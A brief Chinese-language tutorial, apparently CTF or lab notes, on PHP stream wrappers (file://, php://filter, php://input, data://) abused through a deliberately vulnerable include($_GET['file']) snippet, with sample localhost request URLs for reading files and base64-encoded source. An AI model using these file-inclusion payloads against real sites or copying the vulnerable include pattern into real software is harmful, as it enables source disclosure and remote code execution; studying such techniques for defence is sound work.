php伪协议

一、file://

用于访问本地系统文件,需要知道文件的绝对路径

1 <?php
2 include($_GET['file']);
3 ?>

然后传参http://127.0.0.1/1/php.php?file=file://D:\phpstudy_pro\WWW\c.txt

php伪协议

二、 php://filter

用于读取文件源代码,并将base64编码之后的源代码输出

http://127.0.0.1/1/php.php?file=php://filter/read=convert.base64-encode/resource=c.txt

php伪协议

PD9waHANCnBocGluZm8oKTsgDQo/Pg== 即为<?php phpinfo();?>的base64编码

三、php://input

可以访问请求的原始数据的只读流,这里 allow_url_include 需要设置为 On

然后可以以post形式执行php代码

php伪协议

 四、data://

 这里 allow_url_include 和 allow_url_fopen 都需要设置为 On

php伪协议